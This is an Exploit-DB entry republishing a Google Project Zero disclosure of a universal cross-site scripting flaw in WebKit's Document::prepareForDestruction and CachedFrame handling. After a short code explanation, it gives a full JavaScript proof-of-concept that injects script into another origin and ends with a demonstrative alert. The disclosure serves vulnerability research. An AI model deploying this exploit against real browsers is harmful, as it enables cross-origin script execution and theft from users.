WebKit - 'Document::prepareForDestruction' and 'CachedFrame' Universal Cross-Site Scripting

EDB-ID: 42107
Author: Google Security Research
Published: 2017-06-01
CVE: N/A
Type: Webapps
Platform: Multiple
Aliases: N/A
Advisory/Source: Link
Tags: Cross-Site Scripting (XSS)
Vulnerable App: N/A

 Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1163 

Here's a snippet of Document::prepareForDestruction

void Document::prepareForDestruction()
{
if (m_hasPreparedForDestruction)
return;
...
detachFromFrame();

m_hasPreparedForDestruction = true;
}

Document::prepareForDestruction is called on the assumption that the document will not be used again with its frame. However, if a frame caching is made in Document::prepareForDestruction, the document's frame will be stored in a CachedFrame object that will reattach the frame at some point, and thereafter, the document's frame will be never detached due to |m_hasPreparedForDestruction|.


PoC:
-->

<body>
Click anywhere.
<script>
function createURL(data, type = 'text/html') {
return URL.createObjectURL(new Blob([data], {type: type}));
}

function waitFor(check, cb) {
let it = setInterval(() => {
if (check()) {
clearInterval(it);
cb();
}
}, 10);
}

window.onclick = () => {
window.onclick = null;

w = open(createURL(''), '', 'width=500, height=500');
w.onload = () => {
setTimeout(() => {
let f = w.document.body.appendChild(document.createElement('iframe'));
f.contentWindow.onunload = () => {
f.contentWindow.onunload = null;

w.__defineGetter__('navigator', () => new Object());

let a = w.document.createElement('a');
a.href = 'about:blank';
a.click();

setTimeout(() => {
w.history.back();
setTimeout(() => {
let d = w.document;
w.location = 'javascript:' + encodeURI(`"<script>location = 'https://abc.xyz/';</scrip` + `t>"`);

let it = setInterval(() => {
try {
w.xxxx;
} catch (e) {
clearInterval(it);

let a = d.createElement('a');
a.href = 'javascript:alert(location);';
a.click();
}
}, 10);
}, 100);
}, 100);
};

w.location = 'javascript:""';
}, 0);
};

}

</script>
</body>

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